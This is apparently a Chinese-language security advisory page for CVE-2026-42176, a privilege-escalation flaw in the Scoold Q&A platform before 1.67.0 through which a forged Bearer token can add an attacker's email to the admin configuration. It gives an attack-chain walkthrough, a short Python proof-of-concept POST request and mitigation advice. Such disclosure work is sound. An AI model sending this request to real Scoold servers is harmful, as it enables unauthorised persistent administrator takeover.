IPBUF安全漏洞报告
English
CVE-2026-42176 CVSS 6.7 中危

CVE-2026-42176 Scoold权限提升与持久化漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42176
漏洞类型
权限提升
CVSS评分
6.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Scoold

相关标签

权限提升Scoold访问控制绕过持久化配置篡改

漏洞概述

Scoold是一款团队问答和知识共享平台。在1.67.0版本之前,系统存在安全漏洞,允许攻击者通过伪造Bearer token调用`/api/config/set/admins`接口。利用此漏洞,攻击者可修改管理员配置,将恶意邮箱地址写入应用配置文件。尽管更改在当前进程不立即生效,但一旦应用重启,攻击者账户将被识别为管理员,从而获得系统持久化控制权。

技术细节

该漏洞源于Scoold在处理`/api/config/set/admins`API端点时的身份验证逻辑缺陷。系统错误地接受了一个伪造的Bearer token作为合法的管理员API令牌,从而允许未授权的应用配置修改。攻击者利用此缺陷发送POST请求,将自身邮箱写入`scoold.admins`配置项。由于系统设计上仅在启动时加载`ADMINS`集合,这种修改提供了一种可靠的持久化路径:攻击者只需等待系统因维护或故障重启,即可在无需实时交互的情况下获得管理员权限,进而完全控制管理员面板。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别出目标系统运行的是Scoold平台,且版本低于1.67.0。
STEP 2
步骤2:构造恶意请求
攻击者向`/api/config/set/admins`端点发送POST请求,携带伪造的Bearer Token,并在请求体中包含自己的恶意邮箱地址。
STEP 3
步骤3:配置篡改
由于验证缺陷,服务器接受请求并将攻击者的邮箱写入应用配置文件(如`scoold.conf`)。
STEP 4
步骤4:等待重启
攻击者等待系统因日常维护、更新或意外崩溃而重启。
STEP 5
步骤5:权限提升
系统重启后重新加载配置,识别攻击者邮箱为管理员。攻击者登录后获得管理员面板的完全访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Vulnerable endpoint) target_url = "http://target-scoold-instance/api/config/set/admins" # Vulnerability: The API accepts a forged or weak Bearer token # allowing modification of the admin configuration. headers = { "Authorization": "Bearer <forged_or_invalid_token>", "Content-Type": "application/json" } # Payload: The attacker's email address to be added as an admin payload = { "email": "[email protected]" } try: # Send the malicious request response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Configuration successfully modified.") print("[+] Attacker email written to config. Privileges will be granted after restart.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Scoold < 1.67.0

防御指南

临时缓解措施
如果无法立即升级,管理员应检查服务器配置文件,确保`scoold.admins`字段中未包含未授权的邮箱地址。同时,建议在Web应用防火墙(WAF)中部署规则,拦截对`/api/config/set/admins`的外部访问请求,以阻断攻击路径。

参考链接